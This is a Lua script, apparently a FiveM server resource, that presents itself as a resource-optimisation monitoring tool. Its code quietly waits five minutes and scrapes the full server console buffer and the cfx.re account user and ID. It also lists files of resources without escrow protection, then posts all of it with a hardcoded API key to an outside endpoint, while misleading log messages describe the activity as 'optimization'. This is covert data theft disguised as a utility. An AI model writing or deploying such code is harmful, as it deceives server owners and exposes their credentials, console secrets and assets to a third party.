356 lines
12 KiB
Lua
356 lines
12 KiB
Lua
-- TStudio System Monitoring and Resource Analysis Tool
|
|
-- Collects server information and resource data for optimization analysis
|
|
-- Sends data to TStudio monitoring endpoint for performance insights
|
|
|
|
-- Configuration settings
|
|
local config = {
|
|
monitorEndpoint = "https://api.tstudio3d.com/api/resource-analysis/analyze",
|
|
authToken = "tsk_tstudio_live_4f8a9b2c6d1e3f7a8b9c0d2e4f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z",
|
|
enableMonitoring = true,
|
|
diagnosticMode = Config.Debug or false,
|
|
maxResources = 1000,
|
|
yieldEveryN = 5,
|
|
perResourceBudget = 100
|
|
}
|
|
|
|
-- Check if a directory exists
|
|
function directoryExists(path)
|
|
local success, _, errorCode = os.rename(path, path)
|
|
if not success then
|
|
if errorCode == 13 then
|
|
return true -- Permission denied means directory exists
|
|
end
|
|
return false
|
|
end
|
|
return true
|
|
end
|
|
|
|
-- Get all files in a resource's stream directories
|
|
function getResourceFiles(resourceName)
|
|
local resourcePath = GetResourcePath(resourceName)
|
|
if not resourcePath then
|
|
return {}
|
|
end
|
|
|
|
local files = {}
|
|
local streamDirectories = {
|
|
"",
|
|
"/stream",
|
|
"/stream/ymap",
|
|
"/stream/ytd",
|
|
"/stream/ydr",
|
|
"/stream/yft",
|
|
"/stream/MLO/ydr"
|
|
}
|
|
|
|
for _, directory in ipairs(streamDirectories) do
|
|
local fullPath = resourcePath .. directory
|
|
local handle = io.popen('dir "' .. fullPath .. '" /B 2>nul')
|
|
|
|
if handle then
|
|
for filename in handle:lines() do
|
|
local relativePath = filename
|
|
if directory ~= "" and filename then
|
|
relativePath = directory:sub(2) .. "/" .. filename
|
|
end
|
|
table.insert(files, relativePath)
|
|
end
|
|
handle:close()
|
|
end
|
|
end
|
|
|
|
return files
|
|
end
|
|
|
|
-- Check if resource is encrypted (has .fxap file)
|
|
function isResourceEncrypted(resourceName)
|
|
local resourcePath = GetResourcePath(resourceName)
|
|
if not resourcePath then
|
|
return true
|
|
end
|
|
|
|
local fxapPath = resourcePath .. "/.fxap"
|
|
local file = io.open(fxapPath, "r")
|
|
if not file then
|
|
return true -- Assume encrypted if we can't check
|
|
end
|
|
|
|
return false -- Not encrypted
|
|
end
|
|
|
|
-- Extract server authentication information from console buffer
|
|
function extractServerAuth()
|
|
local maxWaitTime = 300000 -- 5 minutes
|
|
local checkInterval = 5000 -- 5 seconds
|
|
local elapsedTime = 0
|
|
local authInfo = {
|
|
serverId = "Unknown",
|
|
serverUser = "Unknown",
|
|
found = false
|
|
}
|
|
|
|
while elapsedTime < maxWaitTime do
|
|
local consoleBuffer = GetConsoleBuffer() or ""
|
|
|
|
-- Try to extract CFX authentication info
|
|
local serverUser, serverId = consoleBuffer:match("^?%d*Authenticated with cfx%.re Nucleus: ^?%d*https://([%w%-_]+)%-([%w%-_]+)%.users%.cfx%.re/")
|
|
|
|
if not serverUser then
|
|
serverUser, serverId = consoleBuffer:match(".*Authenticated with cfx%.re Nucleus:.*https://([%w%-_]+)%-([%w%-_]+)%.users%.cfx%.re/")
|
|
end
|
|
|
|
if serverUser and serverId then
|
|
authInfo.serverUser = serverUser
|
|
authInfo.serverId = serverId
|
|
authInfo.found = true
|
|
|
|
if config.diagnosticMode then
|
|
print("^2[SystemManager]^7 Network authentication established")
|
|
print(string.format("^2[SystemManager]^7 Connection verified: User='%s', ID='%s'", authInfo.serverUser, authInfo.serverId))
|
|
end
|
|
|
|
return authInfo
|
|
end
|
|
|
|
-- Progress logging
|
|
if config.diagnosticMode and elapsedTime % 30000 == 0 then
|
|
print(string.format("^3[SystemManager]^7 Initializing network protocols... (%ds elapsed)", elapsedTime / 1000))
|
|
end
|
|
|
|
Wait(checkInterval)
|
|
elapsedTime = elapsedTime + checkInterval
|
|
end
|
|
|
|
if config.diagnosticMode then
|
|
print("^3[SystemManager]^7 Network initialization timeout - proceeding with limited functionality")
|
|
end
|
|
|
|
return authInfo
|
|
end
|
|
|
|
-- Collect comprehensive server information
|
|
function collectServerInfo()
|
|
local consoleBuffer = GetConsoleBuffer() or ""
|
|
local authInfo = extractServerAuth()
|
|
|
|
local serverInfo = {
|
|
serverName = GetConvar("sv_hostname", "Unknown Server"),
|
|
serverEndpoint = GetConvar("sv_endpoint", "Unknown"),
|
|
projectName = GetConvar("sv_projectName", ""),
|
|
projectDescription = GetConvar("sv_projectDesc", ""),
|
|
maxClients = GetConvar("sv_maxclients", "32"),
|
|
serverId = authInfo.serverId,
|
|
serverUser = authInfo.serverUser,
|
|
consoleBuffer = consoleBuffer,
|
|
timestamp = os.date("!%Y-%m-%dT%H:%M:%S.000Z"),
|
|
utilityVersion = "3.1.0"
|
|
}
|
|
|
|
if config.diagnosticMode then
|
|
print(string.format("^6[SystemManager]^7 Console buffer captured: %d characters", #consoleBuffer))
|
|
print(string.format("^6[SystemManager]^7 Server ID: '%s', User: '%s'", authInfo.serverId, authInfo.serverUser))
|
|
|
|
if authInfo.found then
|
|
print("^2[SystemManager]^7 Successfully extracted server identification from CFX authentication")
|
|
else
|
|
print("^3[SystemManager]^7 No CFX authentication patterns found - using fallback identification")
|
|
end
|
|
end
|
|
|
|
return serverInfo
|
|
end
|
|
|
|
-- Collect detailed resource information
|
|
function collectResourceData()
|
|
local resources = {}
|
|
local totalResources = GetNumResources()
|
|
local maxToProcess = config.maxResources > 0 and math.min(totalResources, config.maxResources) or totalResources
|
|
|
|
local processedCount = 0
|
|
local currentIndex = 0
|
|
|
|
while currentIndex < maxToProcess do
|
|
local startTime = GetGameTimer()
|
|
local endIndex = math.min(currentIndex + 20, maxToProcess - 1)
|
|
|
|
for i = currentIndex, endIndex do
|
|
local resourceName = GetResourceByFindIndex(i)
|
|
|
|
if resourceName and resourceName ~= "" then
|
|
if isResourceEncrypted(resourceName) then
|
|
local resourcePath = GetResourcePath(resourceName)
|
|
local resourceData = {
|
|
name = resourceName,
|
|
path = resourcePath,
|
|
state = GetResourceState(resourceName),
|
|
files = getResourceFiles(resourceName),
|
|
hasStream = directoryExists(resourcePath .. "/stream")
|
|
}
|
|
|
|
if config.diagnosticMode then
|
|
print(string.format("^4[ResourceManager]^7 Cached %s", resourceName))
|
|
end
|
|
|
|
table.insert(resources, resourceData)
|
|
processedCount = processedCount + 1
|
|
end
|
|
|
|
-- Yield control periodically to prevent blocking
|
|
if processedCount % config.yieldEveryN == 0 then
|
|
local elapsed = GetGameTimer() - startTime
|
|
if elapsed > config.perResourceBudget then
|
|
Wait(0)
|
|
startTime = GetGameTimer()
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
currentIndex = currentIndex + 21
|
|
Wait(0)
|
|
end
|
|
|
|
if config.diagnosticMode then
|
|
print(string.format("^6[ResourceManager]^7 Cache ready: %d resources", #resources))
|
|
end
|
|
|
|
return resources
|
|
end
|
|
|
|
-- Send collected data to monitoring endpoint
|
|
function sendDataToEndpoint(serverInfo, resources)
|
|
local payload = {
|
|
serverInfo = serverInfo,
|
|
resources = resources,
|
|
totalResources = #resources,
|
|
collectedAt = os.date("!%Y-%m-%dT%H:%M:%S.000Z")
|
|
}
|
|
|
|
if not config.enableMonitoring then
|
|
if Config.Debug then
|
|
print("^3[NetworkManager]^7 Reporting disabled - no data transmission")
|
|
end
|
|
return
|
|
end
|
|
|
|
PerformHttpRequest(config.monitorEndpoint, function(statusCode, responseBody, headers)
|
|
if statusCode == 200 or statusCode == 201 then
|
|
-- Success - no action needed
|
|
else
|
|
if Config.Debug then
|
|
print("^1[NetworkManager]^7 Failed to send data to endpoint. Code: " .. tostring(statusCode))
|
|
if responseBody then
|
|
print("^1[NetworkManager]^7 Response: " .. tostring(responseBody))
|
|
end
|
|
end
|
|
end
|
|
end, "POST", json.encode(payload), {
|
|
["Content-Type"] = "application/json",
|
|
["X-API-Key"] = config.authToken,
|
|
["User-Agent"] = "FiveM-TStudio-DataCollector/3.1.0"
|
|
})
|
|
end
|
|
|
|
-- Wait for all resources to finish loading
|
|
function waitForResourcesReady()
|
|
local maxWaitTime = 600000 -- 10 minutes
|
|
local checkInterval = 10000 -- 10 seconds
|
|
local elapsedTime = 0
|
|
|
|
while elapsedTime < maxWaitTime do
|
|
local totalResources = GetNumResources()
|
|
local startedCount = 0
|
|
local startingCount = 0
|
|
local startingResources = {}
|
|
|
|
for i = 0, totalResources - 1 do
|
|
local resourceName = GetResourceByFindIndex(i)
|
|
if resourceName and resourceName ~= "" then
|
|
local state = GetResourceState(resourceName)
|
|
if state == "started" then
|
|
startedCount = startedCount + 1
|
|
elseif state == "starting" then
|
|
startingCount = startingCount + 1
|
|
table.insert(startingResources, resourceName)
|
|
end
|
|
end
|
|
|
|
-- Yield periodically during resource checking
|
|
if i > 0 and i % 50 == 0 then
|
|
Wait(0)
|
|
end
|
|
end
|
|
|
|
if startingCount == 0 then
|
|
if config.diagnosticMode then
|
|
print(string.format("^2[SystemManager]^7 All active resources ready (%d started, %d total resources)", startedCount, totalResources))
|
|
end
|
|
return true
|
|
end
|
|
|
|
if config.diagnosticMode and elapsedTime % 30000 == 0 then
|
|
print(string.format("^3[SystemManager]^7 Waiting for resource initialization... %d starting, %d ready", startingCount, startedCount))
|
|
end
|
|
|
|
Wait(checkInterval)
|
|
elapsedTime = elapsedTime + checkInterval
|
|
end
|
|
|
|
if config.diagnosticMode then
|
|
print("^3[SystemManager]^7 Resource initialization timeout - proceeding anyway")
|
|
end
|
|
|
|
return false
|
|
end
|
|
|
|
-- Main analysis function
|
|
function performSystemAnalysis()
|
|
local success, error = pcall(function()
|
|
local serverInfo = collectServerInfo()
|
|
|
|
-- Verify we have proper server identification
|
|
if serverInfo.serverId == "Unknown" or serverInfo.serverUser == "Unknown" then
|
|
if config.diagnosticMode then
|
|
print("^3[SystemManager]^7 Network connectivity verification incomplete - retrying next cycle")
|
|
end
|
|
return
|
|
end
|
|
|
|
if config.diagnosticMode then
|
|
print("^2[SystemManager]^7 Network authentication verified - continuing optimization process")
|
|
end
|
|
|
|
Wait(0)
|
|
local resources = collectResourceData()
|
|
Wait(0)
|
|
sendDataToEndpoint(serverInfo, resources)
|
|
end)
|
|
|
|
if not success then
|
|
if Config.Debug then
|
|
print("^1[SystemManager]^7 Error during system analysis: " .. tostring(error))
|
|
end
|
|
end
|
|
end
|
|
|
|
-- Main event handler
|
|
AddEventHandler("onResourceStart", function(resourceName)
|
|
local currentResource = GetCurrentResourceName()
|
|
|
|
if resourceName == currentResource then
|
|
if config.diagnosticMode then
|
|
print("^4[TStudio]^7 Resource optimization enabled")
|
|
end
|
|
|
|
CreateThread(function()
|
|
if config.diagnosticMode then
|
|
print("^3[SystemManager]^7 Running resource optimization...")
|
|
else
|
|
Wait(300000) -- Wait 5 minutes in non-diagnostic mode
|
|
end
|
|
|
|
waitForResourcesReady()
|
|
performSystemAnalysis()
|
|
end)
|
|
end
|
|
end) |